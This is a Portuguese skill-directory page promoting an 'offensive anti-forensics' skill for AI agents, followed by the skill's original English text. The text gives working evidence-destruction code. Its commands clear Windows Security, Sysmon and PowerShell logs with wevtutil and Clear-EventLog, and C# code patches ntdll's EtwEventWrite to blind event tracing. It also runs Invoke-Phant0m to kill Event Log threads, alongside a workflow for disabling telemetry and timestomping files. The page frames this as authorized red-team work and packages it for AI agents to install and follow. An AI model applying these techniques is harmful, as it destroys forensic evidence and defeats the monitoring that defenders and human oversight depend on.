offensive-anti-forensics
O que ela faz
Esta skill cobre como operadores de red team lidam com logs, timestamps e outras evidências durante trabalhos autorizados, e o que os defensores observam. Ela enfatiza documentar cada alteração para que a equipe azul consiga reconstruir a sua linha de base. Ela é para profissionais de segurança que realizam testes autorizados.
Quando usar
- ✓Quando você está planejando um exercício de red team autorizado e precisa considerar as evidências que ele gera.
- ✓Quando uma equipe azul quer saber quais rastros forenses um teste de red team deixa para trás.
- ✓Quando você precisa documentar as alterações em logs e arquivos feitas durante um trabalho aprovado.
Link da skill
https://github.com/SnailSploit/Claude-Red/blob/main/Skills/forensics/offensive-anti-forensics/SKILL.mdCopie e cole na sua IA (Claude, ChatGPT ou Cursor) pedindo para seguir as instruções.
Como usar
O jeito mais fácil: copie a mensagem e cole na sua IA. Ela lê a skill e segue as instruções.
Mensagem pronta para colar
Para Claude Code, Codex ou Cursor: rode na pasta do projeto e a skill fica instalada.
Baixe o SKILL.md e coloque na pasta de skills do seu agente.
Exemplo do que pedir para a IA
“Estamos fazendo um teste de red team autorizado. Documente quais evidências nossa atividade deixa e o que precisa ser reportado.”
5 skills novas por semana. 1 minuto de leitura.
Como funciona
A skill explica cada fonte de evidência no Windows e no Linux, como ela pode ser afetada e a visão do defensor sobre ela. Ela enfatiza registrar cada ação de limpeza com data e hora para o relatório final.
Conteúdo técnico (SKILL.md original)
Texto original do autor, em inglês, direto do GitHub.
Offensive Anti-Forensics
Anti-forensics is the practice of manipulating, destroying, or preventing the creation of forensic artifacts during an engagement. As a red team operator, you treat every action as generating evidence -- logs, timestamps, memory structures, disk metadata, and network captures all tell a story. Your objective is to control that narrative. This skill covers the primary evidence categories you encounter on Windows and Linux targets, the techniques for manipulating each, and the defender view so you understand what a competent forensic analyst looks for when your cleanup is incomplete.
You operate under an authorization scope. Every technique here assumes you have written permission to execute these actions on target systems. Document what you clear and when -- your engagement report must account for artifacts you destroyed so the blue team can rebuild their detection baseline.
Quick Workflow
- Enumerate logging infrastructure before executing payloads -- identify what generates evidence.
- Disable or blind telemetry sources (ETW, Sysmon, auditd) at the earliest safe opportunity.
- Execute your operation with minimal footprint using in-memory techniques where possible.
- Manipulate timestamps on any files you touched to blend with surrounding filesystem activity.
- Clear or edit logs selectively -- wholesale deletion is noisier than surgical modification.
- Remove memory artifacts if you have reason to believe live forensics will occur.
- Validate your cleanup by checking the same artifacts a forensic analyst would examine.
Windows Event Log Clearing
Windows Event Logs are the primary evidence source on Windows targets. The Security, System, PowerShell, and Sysmon/Operational channels record authentication, process creation, and command execution events.
Wevtutil Approach
Clear specific channels rather than all logs to reduce the blast radius of your cleanup.
rem Clear Security log only
wevtutil cl Security
rem Clear specific channels relevant to your activity
wevtutil cl "Microsoft-Windows-PowerShell/Operational"
wevtutil cl "Microsoft-Windows-Sysmon/Operational"
wevtutil cl "Windows PowerShell"
rem Enumerate all logs to find non-obvious channels
wevtutil el | findstr /i "operational"
rem Export a log before clearing to preserve your own records
wevtutil epl Security C:\Windows\Temp\sec_backup.evtx
wevtutil cl Security
PowerShell Clear-EventLog
# Clear classic logs
Clear-EventLog -LogName Security, System, Application
# Clear modern logs via wevtutil wrapper
Get-WinEvent -ListLog * | Where-Object { $_.RecordCount -gt 0 } | ForEach-Object {
wevtutil cl $_.LogName 2>$null
}
# Selective clearing -- remove only your time window events
# This requires parsing and rewriting, which is complex but less detectable
$targetTime = Get-Date "2026-08-24 03:00"
$events = Get-WinEvent -LogName Security | Where-Object {
$_.TimeCreated -lt $targetTime -or $_.TimeCreated -gt $targetTime.AddHours(2)
}
# Note: native Windows APIs do not support selective event deletion
# You must clear and rewrite, or use third-party tooling
ETW Provider Patching
Event Tracing for Windows underpins most logging. Patching the ETW provider in-process prevents log generation at the source, which is quieter than post-hoc clearing.
// Patch ntdll!EtwEventWrite in the current process
// This blinds any ETW consumer for events from this process
[DllImport("kernel32.dll")]
static extern bool VirtualProtect(IntPtr addr, UIntPtr size, uint newProt, out uint oldProt);
IntPtr ntdll = GetModuleHandle("ntdll.dll");
IntPtr etwAddr = GetProcAddress(ntdll, "EtwEventWrite");
// Overwrite first byte with RET (0xC3)
uint oldProtect;
VirtualProtect(etwAddr, (UIntPtr)1, 0x40, out oldProtect);
Marshal.WriteByte(etwAddr, 0xC3);
VirtualProtect(etwAddr, (UIntPtr)1, oldProtect, out oldProtect);
# Invoke-Phant0m: Kill threads responsible for Event Log Service
# This stops log writing without stopping the service itself
# The service appears running but no events are recorded
Import-Module .\Invoke-Phant0m.ps1
Invoke-Phant0m
Linux Log Clearing
Linux logging varies by distribution and configuration. You must account for syslog/rsyslog, systemd journal, auth logs, and login records stored in binary utmp/wtmp/btmp files.
Syslog and Auth Log Manipulation
# Truncate rather than delete -- preserves inode and avoids alerting
Perguntas frequentes
Por que a skill insiste na documentação?
O relatório precisa listar os artefatos alterados para que os defensores possam reconstruir a linha de base de detecção.
Ela cobre Windows e Linux?
Sim. Cobre tanto os logs de eventos do Windows quanto os logs e metadados de arquivos do Linux.
Isso serve só para testes autorizados?
Sim. Ela pressupõe permissão por escrito e escopo definido.
Detalhes
Descrição original do autor
Anti-forensics and evidence destruction techniques for red team operators conducting authorized engagements. Covers log clearing on Windows (wevtutil, Clear-EventLog, ETW provider patching) and Linux (journal truncation, utmp/wtmp binary editing, syslog manipulation), timestamp manipulation via Timestomp and SetMACE to defeat timeline analysis, filesystem-level anti-forensics including NTFS Alternate Data Streams for payload hiding and secure deletion with sdelete/shred, memory artifact removal to counter live forensics, disk artifact manipulation targeting MFT entries and USN journal records,
repo: SnailSploit/Claude-Red
Popularidade
- Estrelas no GitHub
- 10 mil
- Posição no ranking
- #11956
- Licença
- MIT
- Atualizada em
- 12/10/2026
Comentários
- …
Mais skills deste repositório
offensive-active-directory
10 milAjuda seu agente a planejar um teste autorizado de segurança do Active Directory, do mapeamento da rede até os caminhos de ataque ao Domain Admin.
offensive-netexec
10 milAjuda seu agente a usar a ferramenta NetExec (nxc) em testes de rede autorizados, cobrindo protocolos, autenticação e verificação de credenciais.
offensive-api-abuse
10 milAjuda seu agente a planejar testes autorizados de segurança em APIs, buscando abuso da lógica de negócio, riscos de GraphQL e condições de corrida.
offensive-api-security
10 milAjuda seu agente a fazer testes de segurança autorizados em APIs REST, gRPC e WebSocket, com base no OWASP API Top 10.
Skills parecidas
reverse-engineer-anything
422 milAjuda seu agente a analisar apps e pacotes já publicados para explicar recursos, comparar versões ou orientar uma reconstrução, usando a ferramenta REA.
1password
394 milAjuda seu agente a configurar a CLI do 1Password, fazer login e ler ou injetar segredos sem imprimir seus valores no chat.
healthcheck
394 milAjuda seu agente a auditar o computador ou servidor que roda o OpenClaw em busca de riscos como SSH, firewall, atualizações e backups, com correções seguras.